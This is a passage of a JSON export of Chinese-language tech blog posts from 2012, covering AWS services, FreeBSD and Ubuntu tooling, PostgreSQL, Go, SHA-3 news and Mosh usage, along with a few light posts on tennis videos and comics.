是個很明顯的方向。目前可以透過 <a href=\"http://aws.amazon.com/importexport/\">AWS Import/Export</a> 匯入大量資料：\r\n<blockquote>You can also use AWS Import/Export to accelerate moving large amounts of data into Amazon Glacier using portable storage devices for transport.</blockquote>\r\n之後則是會提供從 S3 搬出去與搬進去的功能：\r\n<blockquote>In the coming months, Amazon Simple Storage Service (Amazon S3) plans to introduce an option that will allow you to seamlessly move data between Amazon S3 and Amazon Glacier using data lifecycle policies.</blockquote>\r\n等工具完整後再來研究 :p",
    "title": "Amazon Web Services 新的儲存方案：Amazon Glacier"
  },
  {
    "id": "2963",
    "body": "<a href=\"http://www.head.com/\">HEAD</a> 找來 <a href=\"http://novakdjokovic.com/\">Novak Djokovic</a> 與 <a href=\"http://www.mariasharapova.com/\">Maria Sharapova</a> 兩位到處亂 XDDD\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"http://www.youtube.com/embed/JwhPfOPinjM\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"http://www.youtube.com/embed/aHOdIEPFKiM\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\nSharapova 這球會不會太準了一點 XDDD",
    "title": "Novak Djokovic 與 Maria Sharapova 來亂..."
  },
  {
    "id": "2964",
    "body": "分別是 <code>identity.cloudfront.net</code> 與 <code>resolver-identity.cloudfront.net</code> 的 TXT record，像是這樣：\r\n<pre>\r\n;; QUESTION SECTION:\r\n;identity.cloudfront.net.       IN      TXT\r\n\r\n;; ANSWER SECTION:\r\nidentity.cloudfront.net. 60     IN      TXT     \"ns-nrt52-02.cloudfront.net.nrt52\"\r\n</pre>\r\n以及：\r\n<pre>\r\n;; QUESTION SECTION:\r\n;resolver-identity.cloudfront.net. IN   TXT\r\n\r\n;; ANSWER SECTION:\r\nresolver-identity.cloudfront.net. 10 IN TXT     \"210.242.135.97\"\r\n</pre>\r\n看起來是 <a href=\"http://aws.amazon.com/\">AWS</a> 在 forum 上回答時的 SOP 之一...",
    "title": "找 CloudFront 問題的方法..."
  },
  {
    "id": "2965",
    "body": "<a href=\"http://www.nist.gov/\">NIST</a> (National Institute of Standards and Technology) 是美國的政府機關 (<a href=\"https://zh.wikipedia.org/wiki/%E5%9C%8B%E5%AE%B6%E6%A8%99%E6%BA%96%E6%8A%80%E8%A1%93%E7%A0%94%E7%A9%B6%E6%89%80\">國家標準技術研究所</a>)，訂定了非常多的標準。像是 <a href=\"https://en.wikipedia.org/wiki/Data_Encryption_Standard\">DES</a> 的制定 (NIST 前身，NBS - National Bureau of Standards) 與 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a> 的選拔都是 NIST 的成果。\r\n\r\n在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 NIST 對於伺服器 BIOS 的保護機制提出建議：「<a href=\"http://it.slashdot.org/story/12/08/24/2243216/nist-publishes-draft-guidelines-for-server-bios-protection\">NIST Publishes Draft Guidelines For Server BIOS Protection</a>」，NIST 原始公告則是在「<a href=\"http://www.nist.gov/itl/csd/bios-082112.cfm\">Security First: New NIST Guidelines on Securing BIOS for Servers</a>」。都有原始 PDF 連結可以直接點。\r\n\r\n<a href=\"http://csrc.nist.gov/publications/drafts/800-147b/draft-sp800-147b_july2012.pdf\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SrXsp.webp\" /><img src=\"https://i.gslin.com/imgur/SrXsp.jpg\" alt=\"BIOS Protection Guidelines for Servers ToC\" /></picture></a>\r\n\r\n標題是「BIOS Protection Guidelines for Servers」，目前還是在 draft 階段，頁數也還不太多...",
    "title": "伺服器的 BIOS 保護機制"
  },
  {
    "id": "2967",
    "body": "一直都知道 <a href=\"https://github.com/facebook/hiphop-php\">HipHop</a> 是拿 compile time 換原始的 <a href=\"http://www.php.net/\">PHP</a> 效能，但一直都沒有去找資料，不知道成本有多高，直到剛剛在「<a href=\"http://thephp.cc/dates/2012/froscon/alternative-php-runtimes\">Alternative PHP Runtimes</a>」這邊看到...\r\n\r\n<img src=\"https://i.gslin.com/imgur/GvSC8.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/1PaLF.jpg\" alt=\"\" />\r\n\r\n大概有個概念... :o",
    "title": "Facebook HipHop 的效率"
  },
  {
    "id": "2968",
    "body": "沒看過前面兩集的可以看「<a href=\"http://blog.gslin.org/archives/2012/08/23/2963/novak-djokovic-%E8%88%87-maria-sharapova-%E4%BE%86%E4%BA%82/\">Novak Djokovic 與 Maria Sharapova 來亂...</a>」這篇 XDDD\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"http://www.youtube.com/embed/YKBsNUUB6og\" frameborder=\"0\" allowfullscreen></iframe>",
    "title": "Novak Djokovic 與 Maria Sharapova 繼續來亂..."
  },
  {
    "id": "2970",
    "body": "在台灣看 <a href=\"http://www.blogger.com/\">Blogger</a> 時會被導到 <code>blogspot.tw</code> 網域，目的是為了要能夠支援 content filter，也就是「<a href=\"http://support.google.com/blogger/bin/answer.py?hl=en&answer=2402711\">Why does my blog redirect to a country-specific URL? (ccTLD)</a>」裡的這段：\r\n<blockquote>Q: Why is this happening?\r\nA: We are doing this to provide more support for managing content locally. If we receive a removal request that violates local law, that content may no longer be available to readers on local domains where those laws apply. This update is in line with our approach to free expression and controversial content, which hasn’t changed.</blockquote>\r\n後來在 <a href=\"https://chrome.google.com/webstore\">Chrome Web Store</a> 上翻到可以透過 NCR 固定在 <code>blogspot.com</code> domain 上的方法了：「<a href=\"https://chrome.google.com/webstore/detail/ciboebddidackjicoeoiigdnbmchkdll\">NoCountryRedirect (NCR)</a>」，透過 <code>/ncr</code> 重導設定 NCR cookie...",
    "title": "拿掉 Blogger 的 Country Redirect"
  },
  {
    "id": "2974",
    "body": "在 CDN 報價時，會把歐美與非歐美區 (通常是指亞洲與澳洲) 的報價分開，主要是因為頻寬的成本不同。\r\n\r\n不過亞洲客戶通常不會遇到這個問題，因為對方看你是亞洲客戶，第一份報價會直接使用亞洲區的報價，當你跟業務一直橋價錢，業務就有可能會跟跟你解釋這是因為亞洲區成本比較高 blah blah blah... 這時候業務就會拿出 US &amp; EU only PoP 的報價單出來，如果你測過覺得 okay，那麼就搞定...\r\n\r\n所以每次遇到 <a href=\"http://aws.amazon.com/\">AWS</a> 的業務被問到「你覺得 AWS 有什麼可以改善的？」幾乎都會提分級的事情，而從三年前 (應該吧) 就一直提的東西終於做出來了：「<a href=\"http://aws.typepad.com/aws/2012/09/amazon-cloudfront-cookies-and-more.html\">Amazon CloudFront - Cookie Support and More</a>」。 \r\n\r\n現在 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 支援三種等級，Price Class All (預設等級，包含所有的 PoP)，Price Class 200 (歐美、日本、香港、新加坡)，以及 Price Class 100 (歐美)，可以透過 Web Console 直接設定，接下來可以來觀察看看有哪些網站換掉 :p",
    "title": "AWS CloudFront 的等級"
  },
  {
    "id": "2975",
    "body": "書的資料：\r\n<blockquote>An Introduction to Programming in Go.\r\nCopyright © 2012 by Caleb Doxsey\r\nISBN: 978-1478355823</blockquote>\r\n以及網站：「<a href=\"http://www.golang-book.com/\">An Introduction to Programming in Go</a>」。有平裝實體書版本，也有電子 <a href=\"https://kindle.amazon.com/\">Kindle</a> 版，網站上有 PDF 可以下載，或是直接 HTML 觀看。我是看完 HTML 版後買了一本 Kindle 版來翻...\r\n\r\n<a href=\"http://www.golang-book.com/\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZXLTo.webp\" /><img src=\"https://i.gslin.com/imgur/ZXLTo.jpg\" alt=\"\" /></picture></a>\r\n\r\n這是一本講程式語言 <a href=\"http://golang.org/\">Go</a> 的入門書。看完後，我覺得這不是寫給第一次接觸程式語言而需要自己學習的人。這本書的編排，以及 Go 程式語言的特性，是寫給想要用 C++ 解決 C 問題卻弄的滿頭包的人另外一個方案。語言的特性很明顯可以感覺到 Go 想要找出更自然 (以及「優雅」) 的方式解決問題。\r\n\r\n第三章講資料型態提到內建了 <code>uint8</code>、<code>uint16</code>、<code>uint32</code>、<code>uint64</code>、<code>int8</code>、<code>int16</code>、<code>int32</code> 以及 <code>int64</code>，以及 <code>byte == uint8</code>、<code>rune == int32</code>。以前需要透過 <a href=\"https://en.wikipedia.org/wiki/GNU_build_system\">autotools</a> 的類的程式處理，現在是程式語言直接定義好。\r\n\r\n然後支援 <code>float32</code> 與 <code>float64</code>，以及 <code>complex64</code> 及 <code>complex128</code> 直接避免 <code>sqrt(-1)</code> 的問題！內建 boolean (<code>true</code> 與 <code>false</code>)，把以前的壞習慣 (直接拿數字型態判斷) 處理掉...\r\n\r\n第六章講內建 Arrays、Slices、Maps，這時候就可以發現 <code>fmt.Println</code> 可以直接輸出 (以前 C 就沒辦法用 <code>printf</code> 大絕直接對 array 輸出！) ！然後很嚴格的不讓你在整數與小數之間亂轉...\r\n\r\n而內建 Maps 這件事情超重要，已經是現在程式語言的基本資料型態 XD\r\n\r\n第七章描述 Functions，把以前只能傳單變數的問題解決，並且介紹 Closure，然後介紹 Defer！是 Defer 啊！(該死的 fd leak...)\r\n\r\n第十章 Concurrency 把以前用 POSIX threading library 的痛給解掉，多個 thread 要怎麼有效的互相傳資料一直都是痛 (超痛)，引入 channel 的觀念內建進 Go...\r\n\r\n很推薦購買的一本書，天瓏如果有進的話應該會再去拿一本實體...",
    "title": "推薦《An Introduction to Programming in Go》這本書..."
  },
  {
    "id": "2976",
    "body": "<a href=\"http://www.postgresql.org/\">PostgreSQL</a> 9.2 放出來了：「<a href=\"http://www.postgresql.org/about/news/1415/\">PostgreSQL 9.2 released</a>」。\r\n\r\n其中一個重要的功能是直接支援 <a href=\"http://www.json.org/\">JSON</a> 資料型態。之前看到「<a href=\"http://legitimatesounding.com/blog/building_a_mongodb_clone_in_postgres_part_1.html\">Building a MongoDB Clone in Postgres: Part 1</a>」與「<a href=\"http://legitimatesounding.com/blog/building_a_mongodb_clone_in_postgres_part_2.html\">Building a MongoDB Clone in Postgres: Part 2</a>」這兩篇，用 PostgreSQL 9.2 (當時還在 beta) 去堆 <a href=\"http://www.mongodb.org/\">MongoDB</a> 提供的功能。\r\n\r\n另外一個對於效能會有幫助的新特性是 covering index，可以避免額外的 disk access。",
    "title": "PostgreSQL 9.2 出版..."
  },
  {
    "id": "2977",
    "body": "/*\nWelcome to Custom CSS!\n\nTo learn how this works, see http://wp.me/PEmnE-Bt\n*/\ncode {\n\tbackground: #eee;\n\tpadding-left: .25em;\n\tpadding-right: .25em;\n}\n\nimg {\n\tmax-width: 100%;\n}\n\npre {\n\twhite-space: pre-wrap;\n\tword-break: break-all;\n\tword-wrap: break-word;\n}\n\n#content code, #content pre {\n\tfont-size: 1em;\n}\n\n#content blockquote {\n\tborder-left: 3px solid #eee;\n\tcolor: #555;\n\tfont-size: 90%;\n\tfont-style: normal;\n\tmargin-left: 1em;\n\tpadding-left: 1em;\n}",
    "title": "safecss"
  },
  {
    "id": "2978",
    "body": "<a href=\"http://codership.com/products/mysql_galera\">Galera Cluster</a> 是 <a href=\"http://codership.com/\">Codership</a> 所提供的 MySQL master-master 方案，與其他 master-master 方案比起來，最大的好處就在於比較不需要擔心資料同步的問題...\r\n\r\n剛剛看到，除了 <a href=\"http://www.percona.com/\">Percona</a> 外，又有一家 <a href=\"http://dev.mysql.com/\">MySQL</a> distribution 支援 Galera Cluster：「<a href=\"http://monty-says.blogspot.com/2012/09/mariadb-galera-cluster-released.html\">MariaDB Galera cluster released</a>」。這次是 <a href=\"http://mariadb.org/\">MariaDB</a> 宣布支援 Galera Cluster。\r\n\r\nMariaDB 是由 MySQL 創辦人 <a href=\"http://monty-says.blogspot.com/\">Michael Widenius</a> 發展的版本，算是一個蠻有名的分支... 這樣一來 Galera Cluster 應該會有更多人關注使用...",
    "title": "又有一家大的 MySQL distribution 支援 Galera Cluster..."
  },
  {
    "id": "2980",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 將在台灣時間 9/20 清晨 (當地 9/19 10:00AM) 舉辦 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> (<a href=\"http://codership.com/products/mysql_galera\">Galera Cluster</a>) 的教學：「<a href=\"http://www.mysqlperformanceblog.com/2012/09/12/upcoming-percona-xtradb-cluster-installation-and-setup-webinar/\">Upcoming Percona XtraDB Cluster – Installation and Setup webinar</a>」。\r\n\r\n這是偏向營運方面的 Web conference：除了安裝與設定以外，還準備試爆與修復，另外使用 <a href=\"http://haproxy.1wt.eu/\">HAProxy</a> 達到 HA 目的... (我是偏好 <a href=\"http://www.linux-ha.org/wiki/Heartbeat\">Heartbeat</a> + 自製的小 script 達到 HA)\r\n\r\n有興趣的人可以報名，如果時間上不能配合的人，照慣例事後應該也有 video 與投影片可以看... (不是很確定)",
    "title": "Percona XtraDB Cluster (Galera Cluster) 的教學"
  },
  {
    "id": "2981",
    "body": "前幾天 <a href=\"http://jquery.com/\">jQuery</a> 改變授權，從 <a href=\"http://opensource.org/licenses/MIT\">MIT</a> + <a href=\"http://www.gnu.org/licenses/gpl-2.0.html\">GPLv2</a> 雙重授權變成 MIT only：「<a href=\"http://blog.jquery.com/2012/09/10/jquery-licensing-changes/\">jQuery Licensing Changes</a>」。\r\n\r\n實際的改變在八月初的時候就發生了：「<a href=\"https://github.com/jquery/jquery/commit/060eabc9e82cce3d5c3867da0ea738655a7c1618\">Finish the license changes, including Sizzle.</a>」。\r\n\r\n應該算是件好事？",
    "title": "jQuery 授權從 MIT+GPL 改成 MIT only"
  },
  {
    "id": "2982",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> Tokyo 第三個 region 啟用：「<a href=\"http://aws.typepad.com/aws/2012/09/aws-growth-adding-a-third-az-in-tokyo.html\">AWS Growth - Adding a Third Availability Zone in Tokyo</a>」。\r\n\r\n查了之前的 blog，第一個 region 是 2011 的三月初 (「<a href=\"http://blog.gslin.org/archives/2011/03/02/2485/amazon-web-services-%E6%9D%B1%E4%BA%AC%EF%BC%81/\">Amazon Web Services 東京！</a>」)，第二個 region 是 2011 的三月底 (「<a href=\"http://blog.gslin.org/archives/2011/03/29/2543/aws-%E6%9D%B1%E4%BA%AC%E7%AC%AC%E4%BA%8C%E5%80%8B-az-availability-zone-%E4%BB%8A%E5%A4%A9%E5%95%9F%E7%94%A8/\">AWS 東京第二個 AZ (Availability Zone) 今天啟用...</a>」)，過個一年半加第三個 region，現在看起來當初加第二個應該是為了 HA 的需求...\r\n\r\n不過相較於新加坡，日本的量還是成長的比較大...",
    "title": "AWS Tokyo 第三個 Region 啟用..."
  },
  {
    "id": "2983",
    "body": "<a href=\"http://www.freebsd.org/\">FreeBSD</a> 預定在今年十一月將 amd64 與 i386 版本的 C 與 C++ 預設編譯器從 <a href=\"http://gcc.gnu.org/gcc-4.2/\">GCC 4.2.1</a> 換成 <a href=\"http://clang.llvm.org/\">clang</a>，也就是下一個 major release (10.0) 就會是預設編譯器：「<a href=\"http://lists.freebsd.org/pipermail/freebsd-current/2012-September/036480.html\">Clang as default compiler November 4th</a>」。\r\n\r\n自從 <a href=\"http://gcc.gnu.org/\">GCC</a> 決定要換成 <a href=\"http://www.gnu.org/copyleft/gpl.html\">GPLv3</a> 後整個計畫才活起來，到現在走了三年，看起來明年應該有機會看到預設是使用 clang 的 FreeBSD？\r\n\r\n接下來的工作是解決 <a href=\"http://www.freebsd.org/ports/\">Ports</a> 裡面一堆用 clang 編不過的軟體，以目前「<a href=\"http://wiki.freebsd.org/PortsAndClang\">Ports and Clang</a>」這邊列出來的數量，看起來把幾個大的傢伙解決掉就差不多了？(不過應該是不怎麼好解，不然這種大目標物應該早就解決了...)",
    "title": "FreeBSD 將在 10.0 時將預設編譯器從 GCC 換成 clang"
  },
  {
    "id": "2986",
    "body": "<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 12.04 上的 <a href=\"http://www.chromium.org/\">Chromium</a> 一直都是 18.0 版，而 <a href=\"https://launchpad.net/~chromium-daily\">\"Chromium Builds\" team</a> 也沒在更新了...\r\n\r\n過一陣子想起來就會去找一下，結果剛剛發現有人在 <a href=\"https://launchpad.net/\">Launchpad</a> 上面丟出來了：「<a href=\"http://www.webupd8.org/2012/09/new-chromium-stable-and-development.html\">New Chromium Stable And Development PPAs For Ubuntu 12.04</a>」，有兩個版本，一個是 <a href=\"https://launchpad.net/~a-v-shkop/+archive/chromium\">stable</a> (目前是 21.0)，一個是 <a href=\"https://launchpad.net/~a-v-shkop/+archive/chromium-dev\">dev</a> (目前是 23.0)。\r\n\r\n而舊的 repository 可以用 <code>apt-add-repository -r</code> 移除，然後再跑 apt-get update 更新。",
    "title": "Ubuntu 上的 Chromium Stable Channel 與 Dev Channel"
  },
  {
    "id": "2988",
    "body": "看到 <a href=\"http://lwhsu.org/\">lwhsu</a> 提到的：「<a href=\"http://www.plurk.com/p/haqgah\">看影片就不該要認真, 但... 我實在忍不住想要吐嘈阿</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/d8Jf6.jpg\" alt=\"\" />\r\n\r\nXDDD",
    "title": "不知道要怎麼吐槽..."
  },
  {
    "id": "2989",
    "body": "取自 <a href=\"http://xkcd.com/\">xkcd</a>... XDDD\r\n\r\n<a href=\"http://xkcd.com/1109/\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/T1VGV.webp\" /><img src=\"https://i.gslin.com/imgur/T1VGV.jpg\" alt=\"Refrigerator\" /></picture></a>",
    "title": "好冰箱不用嗎..."
  },
  {
    "id": "2990",
    "body": "在 <a href=\"http://zite.com/\">Zite</a> 上看到 <a href=\"http://www.apple.com/mac/\">Mac</a> 上虛擬化技術方案的效能比較：「<a href=\"http://www.macobserver.com/tmo/article/benchmarking-parallels-fusion-and-virtualbox-against-boot-camp\">Benchmarking Parallels, Fusion, and VirtualBox Against Boot Camp</a>」。\r\n\r\n報告裡是用 <a href=\"http://www.apple.com/imac/\">iMac</a> 加上外接一堆暴力設備測試 <a href=\"http://www.parallels.com/products/desktop/\">Parallels Desktop</a> 7 &amp; 8、<a href=\"http://www.vmware.com/products/fusion/\">Fusion</a> 4 &amp; 5、<a href=\"http://www.virtualbox.org/\">VirtualBox</a> 以及 <a href=\"http://www.apple.com/support/bootcamp/\">Boot Camp</a> (相當於原生系統，當作比較用)。\r\n\r\n可以看到在 <a href=\"http://www.futuremark.com/\">Futuremark</a> 系列的數字中付費的方案都是遠遠超越免費的 VirtualBox... 不過其他的測試中倒是差不多，甚至有 VirtualBox 超越商用方案。\r\n\r\n不過現在在 Mac 上的 VirtualBox 好像只拿來開 IE 轉帳，以及跑 <a href=\"https://www.google.com/search?q=VMware+vSphere+Client\">VMware vSphere Client</a>，效能不要差到受不了就可以了...",
    "title": "在 Mac 上虛擬化技術的方案..."
  },
  {
    "id": "2992",
    "body": "因為目前 <a href=\"http://packages.ubuntu.com/precise/chromium-browser\">Ubuntu 12.04 的 chromium-browser</a> 還是 18.0，所以在「<a href=\"http://blog.gslin.org/archives/2012/09/16/2986/ubuntu-%E4%B8%8A%E7%9A%84-chromium-stable-channel-%E8%88%87-dev-channel/\">Ubuntu 上的 Chromium Stable Channel 與 Dev Channel</a>」這篇試著裝新版的 <a href=\"http://www.chromium.org/\">chromium</a>，結果發現問題不少...\r\n\r\nstable 版本容易 core dump 掛掉，dev 版本感覺是 connection leak... 可用的 connection 變少後，網站速度卡在 parallel connection 不夠。\r\n\r\n結果晚上被 <a href=\"https://twitter.com/gasolwu\">gasolwu</a> 說可以裝 <a href=\"http://www.google.com/\">Google</a> 官方的版本，才發現從 Google 下載下來雖然是 deb，但安裝時會自動增加 apt key (好邪惡啊) 並且設定 <a href=\"http://wiki.debian.org/Apt\">apt</a> 機制更新...\r\n\r\n總算能用 21.0 了...",
    "title": "結果回頭用 Google 提供的 Chrome 就好了..."
  },
  {
    "id": "2993",
    "body": "這桌面真不錯...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oBmcy.webp\" /><img src=\"https://i.gslin.com/imgur/oBmcy.jpg\" alt=\"\" /></picture>\r\n\r\n原始出處只找到「<a href=\"http://www.reddit.com/r/funny/comments/ub674/my_new_game_hide_the_cursor_when_going_to_sleep/\">My new game: Hide the cursor when going to sleep, try to find it when you wake up.</a>」這篇...",
    "title": "好棒的桌面！"
  },
  {
    "id": "2994",
    "body": "在 <a href=\"http://www.schneier.com/blog/\">Schneier on Security</a> 上看到 SHA-3 的消息：「<a href=\"http://www.schneier.com/blog/archives/2012/09/sha-3_will_be_a.html\">SHA-3 to Be Announced</a>」。\r\n\r\n1997 年，<a href=\"http://www.nist.gov/\">NIST</a> 要找尋 <a href=\"https://en.wikipedia.org/wiki/Data_Encryption_Standard\">Data Encryption Standard (DES)</a> 的下一代標準，發起了有名的 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a> 遴選計畫，也就是 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard_process\">Advanced Encryption Standard process</a>。\r\n\r\n公開遴選 AES 的成果就是在 2001 年 NIST 選出 Rijndael，由 <a href=\"https://en.wikipedia.org/wiki/Vincent_Rijmen\">Vincent Rijmen</a> 與 <a href=\"https://en.wikipedia.org/wiki/Joan_Daemen\">Joan Daemen</a> 兩位比利時密碼學家所發展出的對稱式加密系統。這個成果以現在來看是相當受到好評的：從 1998 年 Rijndael 問世到現在已經將近 15 年，成為官方標準後也超過 10 年，在這麼長時間接受全世界密碼學家檢驗後，有效的攻擊 (full cycle，可以破解實際流量的演算法) 是 2009 年一系列針對 192bits 與 256bits 的攻擊 (<a href=\"https://en.wikipedia.org/wiki/Related-key_attack\">Related-key attack</a>)，以及 2011 年針對所有 128bits/192bits/256bits 的攻擊 (<a href=\"https://en.wikipedia.org/wiki/Key-recovery_attack\">Key-recovery attack</a>)，仍然都還不到「實用」的程度 (用合理的硬體與資源破解)。\r\n\r\n因此，當 <a href=\"https://en.wikipedia.org/wiki/MD5\">MD5</a> 與 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 被攻的亂七八糟時 (2004 年<a href=\"https://zh.wikipedia.org/wiki/%E7%8E%8B%E5%B0%8F%E9%9B%B2\">王小雲</a>教授往 <a href=\"http://eprint.iacr.org/\">ePrint</a> 上丟出有名的「<a href=\"http://eprint.iacr.org/2004/199\">Collisions for Hash Functions MD4, MD5, HAVAL-128 and RIPEMD</a>」論文，給出兩個 vector 直接給出證明已經找到 collision)，NIST 也想要透過同樣的遴選過程建立標準。於是，在 2007 年 NIST 宣佈了遴選計畫，這套標準就叫做 SHA-3，遴選過程則可以在 <a href=\"https://en.wikipedia.org/wiki/NIST_hash_function_competition\">NIST hash function competition</a> 這邊查到。\r\n\r\n歷經五年的競爭，SHA-3 終於要宣佈結果了... (也有可能宣佈「沒有得主」？)",
    "title": "SHA-3 最後審查..."
  },
  {
    "id": "2995",
    "body": "查資料的時候發現有人已經翻譯好 PSR-{0,1,2}：\r\n<ul>\r\n\t<li><a href=\"http://blog.mosil.biz/2012/08/psr-0-autoloading-standard/\">PSR-0 Autoloading Standard</a></li>\r\n\t<li><a href=\"http://blog.mosil.biz/2012/08/psr-1-basic-coding-standard/\">PSR-1 Basic Coding Standard</a></li>\r\n\t<li><a href=\"http://blog.mosil.biz/2012/09/psr-2-basic-coding-standard/\">PSR-2 Coding Style Guide</a></li>\r\n</ul>\r\n想要快速了解 PSR 在定義什麼，可以直接看中文版，如果有覺得不懂的地方再去翻英文版的原文敘述。",
    "title": "PHP 的 PSR-{0,1,2} 中文版翻譯..."
  },
  {
    "id": "2997",
    "body": "在「<a href=\"http://blog.wikimedia.org/2012/09/19/what-are-readers-looking-for-wikipedia-search-data-now-available/\">What are readers looking for? Wikipedia search data now available</a>」這邊看到維基百科打算公開 search data，這不是前人幹過的蠢事嗎...\r\n\r\n這讓我想起 2006 年「<a href=\"https://en.wikipedia.org/wiki/AOL_search_data_leak\">AOL search data leak</a>」事件。AOL 希望對學術界有貢獻，於是把三個月份的 search data 匿名化後丟出來，結果被發現不管怎麼匿名化，search data 還是有辦法找出本人。AOL 也因此被告並且判決只要包含在內的每個人都可以拿到 USD$5000 的賠償。不過也因為 AOL 幹了蠢事，這也是少數被公開的 search real data。\r\n\r\n看起來 <a href=\"http://www.wikimedia.org/\">Wikimedia</a> 也要再來幹一次？",
    "title": "Wikimedia 要幹蠢事了..."
  },
  {
    "id": "2998",
    "body": "把 <a href=\"http://wordpress.org/extend/plugins/jetpack/\">Jetpack</a> 升級到 1.8 後發生統計數字抓不到的問題，會出現「We were unable to get your stats just now. Please try again.」的錯誤訊息：「<a href=\"http://wordpress.org/support/topic/plugin-jetpack-by-wordpresscom-stats-problem-in-v-18\">[resolved] Stats problem in V. 1.8 (28 posts)</a>」。\r\n\r\n目前的解決方式是降到 1.7... =_=\r\n\r\n還沒升級的人就先等等吧...\r\n\r\n<strong>Update</strong>：1.8.1 出了，看起來是解決了...",
    "title": "WordPress Jetpack 1.8 出問題了..."
  },
  {
    "id": "2999",
    "body": "以 <a href=\"http://www.freshports.org/www/apache22\">www/apache22</a> 為例子，本來 <code>/usr/local/etc/ports.conf</code> 內是這樣：\r\n<blockquote><code>www/apache22: WITH_MPM=worker</code></blockquote>\r\n引入 OptionsNG 後增加了不少檢查。其中因為 <code>WITH_MPM=worker</code> 的關係，需要把 <code>CGID</code> 打開，並且關掉 <code>CGI</code>。以前的寫法是 <code>WITH_CGID=yes</code> + <code>WITHOUT_CGI=yes</code> 就好，現在要改成：\r\n<blockquote><code>www/apache22: OPTIONS_SET=CGID | OPTIONS_UNSET=CGI | WITH_MPM=worker</code></blockquote>\r\n這樣就可以繼續用 <code>ports.conf</code> 管了... 不過還是有些地方要解決 (像是 <code>WITHOUT_X11=yes</code> 這種設定要怎麼轉到 OptionsNG 架構)，看起來得想辦法讓 <a href=\"http://www.freshports.org/ports-mgmt/portconf/\">portconf</a> 可以吃更多形式？",
    "title": "FreeBSD 引入 OptionsNG 後 ports.conf (portconf) 的轉換"
  },
  {
    "id": "3000",
    "body": "在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 下不小心拉到視窗大小 (拉動的時候不會顯示長寬)，所以想要土法煉鋼找指令列出視窗寬度：\r\n<blockquote><code>tput cols</code></blockquote>\r\n出自 <a href=\"http://stackoverflow.com/\">StackOverflow</a> 的「<a href=\"http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window\">How do I find the width &amp; height of a terminal window?</a>」。",
    "title": "在 shell 下找出 Terminal 視窗的寬度..."
  },
  {
    "id": "3002",
    "body": "<a href=\"http://www.nist.gov/\">NIST</a> 公告選出了 SHA-3 演算法：「<a href=\"http://www.nist.gov/itl/csd/sha-100212.cfm\">NIST Selects Winner of Secure Hash Algorithm (SHA-3) Competition</a>」。\r\n\r\n演算法是 <a href=\"https://en.wikipedia.org/wiki/Keccak\">Keccak</a> (唸作 catch-ack)，這個演算法其中一個優勢是硬體速度：\r\n<blockquote>Keccak has higher performance in hardware implementations than SHA-2 or any of the other finalists.</blockquote>\r\n由於選上的演算法會是 royalty-free license，接下來應該會看到許多 spec 開始納入 SHA-3... (參考 <a href=\"http://csrc.nist.gov/groups/ST/hash/documents/SHA-3_FR_Notice_Nov02_2007%20-%20more%20readable%20version.pdf\">Announcing Request for Candidate Algorithm Nominations for a New Cryptographic Hash Algorithm (SHA-3) Family</a> 這份文件)",
    "title": "NIST 公告選出 SHA-3 的演算法..."
  },
  {
    "id": "3003",
    "body": "在「<a href=\"http://www.slate.com/blogs/behold/2012/10/04/hyper_photos_jean_fran_ois_rauzier_attempts_to_create_the_most_detailed_images_in_the_world_.html\">Hyper-photos: Jean-François Rauzier attempts to create the most detailed images in the world.</a>」看到 Hyper-photos，像是這樣的照片：\r\n\r\n<img src=\"https://i.gslin.com/imgur/LCAhw.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/TDbCI.jpg\" alt=\"\" />\r\n\r\nHyper-photos：\r\n<blockquote>Hyperphotos are to panoramic photos what Google Earth is to a globe.</blockquote>",
    "title": "漂亮的 Hyper-photos"
  },
  {
    "id": "3004",
    "body": "<a href=\"http://mosh.mit.edu/\">Mosh</a> 是一個取代 SSH (<a href=\"http://www.openssh.com/\">OpenSSH</a>) 的工具，官方網站上是這樣介紹：\r\n<blockquote>Mosh is a replacement for SSH. It's more robust and responsive, especially over Wi-Fi, cellular, and long-distance links.</blockquote>\r\nMosh 最大的特性是透過 <a href=\"https://zh.wikipedia.org/wiki/%E7%94%A8%E6%88%B7%E6%95%B0%E6%8D%AE%E6%8A%A5%E5%8D%8F%E8%AE%AE\">UDP</a> 加密傳輸 (<a href=\"https://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86\">AES-128</a> <a href=\"https://en.wikipedia.org/wiki/OCB_mode\">OCB mode</a>)，而且不綁定 IP address 後設計出這些特性：\r\n<ul>\r\n\t<li>筆電休眠後再打開電腦就可以直接連上。</li>\r\n\t<li>登入 VPN 造成 IP 改變後也沒關係。</li>\r\n</ul>\r\n另外 Mosh 模擬了 local echo 機制，就算在 latency 偏高的網路下也還是可以感覺到不錯的反應速度。\r\n\r\n不過是到了 1.2 之後支援 <code>--ssh</code> 這個參數才變得好用，在 client 端只要這樣跑 (假設 ssh port 在 1234)：\r\n<blockquote><code>mosh --ssh=\"ssh -p 1234 -v\" gslin@server.example.com --server=\"env LANG=en_US.UTF-8 mosh-server\"</code></blockquote>\r\nMosh 就會用 ssh 登入後自動執行 mosh-server 取得 shared key 給 mosh-client 用。如果本來就有使用 public key 